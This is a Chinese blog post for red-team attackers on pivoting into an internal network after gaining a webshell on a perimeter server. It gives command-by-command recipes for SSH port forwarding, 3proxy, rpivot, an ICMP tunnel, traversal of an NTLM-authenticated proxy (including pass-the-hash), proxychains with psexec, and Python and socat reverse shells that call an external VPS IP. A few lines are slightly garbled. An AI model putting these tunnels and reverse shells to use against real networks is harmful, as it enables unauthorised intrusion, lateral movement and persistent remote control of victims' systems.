穿越边境的姿势

在企业安全对抗中,红方攻击团队经常会遇到这种情况,在企业的网络边界上获取到部分权限,比如一个web服务器的webshell,然而如何更方便的进行下一步的渗透呢?如何对内网进行渗透测试,这时就需要隧道转发技术,穿透边界防火墙、安全代理等安全设备,进行深层次的安全测试。本文的主要内容是穿透内网的各种姿势。
典型的边界网络架构图

利用ssh建立隧道动态端口转发
原理:建立一个动态的SOCKS4/5的代理通道,紧接着的是本地监听的端口号;动态端口转发是建立一个ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5协议的程序都可以使用这个加密的通道来进行代理访问。
本地执行命令:
ssh -D 1080 root@106.22.50.48
效果:本地监听1080端口,我们可以使用具有socks端口功能的应用,可以通过代理:127.0.0.1:1080上网,弱国非要在目标内网使用,
可以在server B上执行:
ssh -D 1080 root@10.3.1.6
这样我们就可以通过server B的1080端口访问办公网的资源。如果serverB的ssh可以访问,
可以在本地执行:
ssh -D 1080 root@222.222.222.223
这样我们就可以同本地127.0.0.1:1080访问目标内网资源。
本地端口转发
原理:将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。
在serverB上执行:
ssh -L 7001:localhost:7070 root@106.22.50.48
作用:serverB监听7001端口,并将7001端口的数据转发到vps的7070端口
利用:在serverB上运行一个socks代理,代理端口设置为7001,这样再执行上面的命令,这样我们就相当于建立了一个socks5隧道。
远程端口转发
原理:将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。
在serverB上执行:
localhost: ssh -R 1433:localhost:7070 root@10.3.1.6
作用:将10.3.1.6的3306端口转发到serverB的7070端口,这样我们在访问serverB的7070端口时,其实访问到的是10.3.1.6的3306端口。
使用3proxy建立隧道简介
工具地址: https://github.com/z3APA3A/3proxy/releases
3proxy是一个由俄罗斯人开发的多平台代理软件,支持http/https/ftp/socks4/socks5/socks4a/socks5a等多种代理方式。
利用方式:
windows:3proxy.exe config_file
linux:./3proxy config_file
这个工具的使用主要是修改配置文件。
建立socks代理
配置如下:
#!/usr/local/bin/3proxy
socks -p1080
作用:新建一个socks代理,监听1080端口
实现端口转发
配置如下:
#!/usr/local/bin/3proxy
tcppm 1080 106.22.50.48 7070
作用:将本地的1080端口转发到vps的7070端口
其他功能大家可以自行学习。
使用plink实现端口转发
plink的使用跟ssh类似,只是plink是在windows下运行的。
使用Rpivot做反向代理
工具地址:https://github.com/artkond/rpivot
利用方式:
vps:
python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0
作用:在vps上新建一个socks4代理在1080端口,监听9999端口
serverB:
python client.py --server-ip 106.22.50.48 --server-port 9999
作用:连接vps的9999端口,我们可以通过vps的1080端口访问目标内网。
建立ICMP隧道
工具地址:http://code.gerade.org/hans/
在serverB上下载编译
用root执行:
1 echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all2
./hans -s 222.222.222.223 -p password
在本地执行:
./hans -f -c 222.222.222.223 -p password -v
会返回一个shell
穿透代理服务器
条件:serverB需要通过serverA这个代理服务器上外网,且代理服务器的认证是需要域认证
Rpivot
可以使用下面的命令实现穿透:
python client.py --server-ip 106.22.50.48 --server-port 9999 --ntlm-proxy-ip 10.1.2.16 --ntlm-proxy-port 8080 --domain test.com --username myh0st --password password
如果获取到的用户密码是个Hash,解不出来的情况下:
python client.py --server-ip 106.22.50.48 --server-port 9999 --ntlm-proxy-ip 10.1.2.16 --ntlm-proxy-port 8080 --domain test.com --username myh0st --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45Cntlm
工具地址:http://cntlm.sourceforge.net/
原理:通过内网ntlm认证代理将远程务器的端口转发到本地。
使用方式,在serverB上执行:
windows: cntlm.exe -c config.conf
linux:./cntlm -c config.conf
配置文件样例:
Username myh0st
Password password
Domain test.com
Proxy 10.1.2.16:8080
Tunnel 2222:106.22.50.48:443
作用:内网服务器访问serverB的2222端口,也就是访问到vps的443端口。
通过socks代理访问内网proxychains
假设代理服务器地址是:222.222.222.223:1080
修改配置文件,将代理地址设置为代理服务器的地址如下:
vim /etc/proxychains.confsocks5 222.222.222.223 1080
使用方法:
proxychains psexec.py administrator@10.2.2.2 ipconfig

proxifier
图形化工具,大家自行测试

获取一个shell窗口

Python PTY shell
使用nc在vps上用监听4444端口:
nc -vv -l -p 4444
在serverB上执行:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“106.22.50.48”,4444));os.dup2(s.fileno(),0); \os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);\import pty; pty.spawn("/bin/bash")’

socat正向shell
vps上执行监听1337端口:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
在serverB上执行:
socat FILE:tty,raw,echo=0 TCP:106.22.50.48:1337

反向shell
vps上执行监听1337:
socat TCP-LISTEN:1337,reuseaddr FILE:tty,raw,echo=0
在serverB上执行:
socat TCP4:106.22.50.48:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
本文来源:https://www.webshell.ren/post-322.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值